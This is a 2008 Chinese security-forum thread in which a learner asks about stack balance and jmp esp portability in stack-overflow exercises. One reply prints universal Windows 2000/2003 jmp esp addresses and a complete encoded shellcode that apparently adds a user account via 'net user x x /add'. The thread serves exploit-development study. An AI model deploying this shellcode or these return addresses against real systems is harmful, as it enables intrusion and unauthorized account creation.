首页
社区
课程
招聘
[求助]4,5章都能调试出来了.现在发现有2个问题比较不清楚
发表于: 2008-6-29 21:23 7374

[求助]4,5章都能调试出来了.现在发现有2个问题比较不清楚

2008-6-29 21:23
7374

第一:每次都淹没了EBP,不用exitprocess就会提示出错.如是我就用在OD中看到的原来的EBP值淹没(调试过很多次这个值不会错),也就是说,我没有改变EBP的值,按道理说不会影响栈平衡了,但还是报错.什么原因高手说下,或请failwest回答,就算是用了exitprocess中的exit(),他是怎么使得栈平衡的(想了很多天就是想不去是什么原因的).
第二:JMP esp值的可移值性问题?(作者说了,我也实验了这个值每台机子,windows版本,补丁都不同,把这个exploitt写好后在其它机器上不一定就能运行了?)不要回答我写程序哦,因为要先JMP esp,再能shellcode.


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (5)
雪    币: 224
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
回答你第二个问题:
使用通用jmp esp地址:2K&2003下面的通用跳转地址:
jmp esp 0x7FFA54CD 0x7FFA4512 0x7FFA0EB7
"\x12\x45\xfa\x7f" //通用jmp esp
使用通用shellcode或者自已去找函数地址:
//net user x x /add,各种系统通用shellcode:327 bytes
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x96\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\xf0\x17\x7a\x16\x96\x1f\x70\x7e\x21\x96\x96\x96\x1f\x90\x1f\x55"
"\xc5\xfe\xe8\x4e\x74\xe5\x7e\x2b\x96\x96\x96\x1f\xd0\x9a\xc5\xfe"
"\x18\xd8\x98\x7a\x7e\x39\x96\x96\x96\x1f\xd0\x9e\xa7\x4d\xc5\xfe"
"\xe6\xff\xa5\xa4\xfe\xf8\xf3\xe2\xf7\xc2\x69\x46\x1f\xd0\x92\x1f"
"\x55\xc5\xfe\xc8\x49\xea\x5b\x7e\x1a\x96\x96\x96\x1f\xd0\x86\xc5"
"\xfe\x41\xab\x9a\x55\x7e\xe8\x96\x96\x96\x1f\xd0\x82\xa7\x56\xa7"
"\x4d\xd5\xc6\xfe\xe4\x96\xe5\x96\xfe\xe2\x96\xf9\x96\xfe\xe4\x96"
"\xf7\x96\xfe\xe5\x96\xe2\x96\xfe\xf8\x96\xff\x96\xfe\xfb\x96\xff"
"\x96\xfe\xd7\x96\xf2\x96\x1f\xf0\x8a\xc6\xfe\xce\x96\x96\x96\x1f"
"\x77\x1f\xd8\x8e\xfe\x96\x96\xca\x96\xc6\xc5\xc6\xc6\xc5\xc6\xc7"
"\xc7\x1f\x77\xc6\xc2\xc7\xc5\xc6\x69\xc0\x86\x1d\xd8\x8e\xdf\xdf"
"\xc7\x1f\x77\xfc\x97\xc7\xfc\x95\x69\xe0\x8a\xfc\x96\x69\xc0\x82"
"\x69\xc0\x9a\xc0\xfc\xa6\xcf\xf2\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a"
"\x3b\x1d\xd6\x9e\xc8\x54\x92\x96\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e"
"\x1d\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97"
"\x7d\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae"
"\x76\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77"
"\x1d\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92"
"\x1d\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96";
2008-6-30 11:41
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
第一个问题,虽然你保留了EBP,但是还是无法做到栈平衡。首先,你保留的EBP是前栈帧的EBP,但是你的ESP则是你的shellcode里得到的地址,比如可能是shellcode中先前压入的failwest字符串的地址(我测的是,并且这个地址还是在缓冲区内),与你保留的EBP不匹配!其次,执行完shellcode后的EIP并不能指向到合法的代码段,而应该还在栈区内。在书中的那段shellcode中EIP很可能指向的是调用完Messagebox之后的nop(0x90909090)。所以仅仅保留EBP是很难做到栈平衡的!
调用了exitprocess的exit()并没有使得栈平衡,而是结束了进程而已!
不知是否同意?
2008-7-18 14:54
0
雪    币: 2041
活跃值: (261)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
4
关于第一个问题:wjling说的很对,exitProcess是不管堆栈平衡,直接强制退出的。不使用这个东东的话就在shellcode里手动修复堆栈吧,还有就是别忘了最后把EIP跳回到原函数的返回地址去

关于第二个问题:经过长时间的积累,黑客们掌握了一些在各种平台版本下都不变的跳转地址,metasploit网站公布了其中的一些。另外在不太被patch修改的一些系统dll中也能找到,《网络渗透技术》中稍微提了一下这个问题。最后,在被溢出的目标程序的代码段搜出来的跳板往往也可以起到操作系统平台通用的效果

最后,小侠啊,你可以直接打电话过来问我的么,呵呵。你们那边买了几本书啊,自己买的还是John批的啊,呵呵
2008-7-20 03:09
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
打电话??呵呵,那failwest大大不得累死,这东西也不好解释。
2008-7-24 20:23
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
..............不懂
2008-9-20 22:11
0
游客
登录 | 注册 方可回帖
返回
//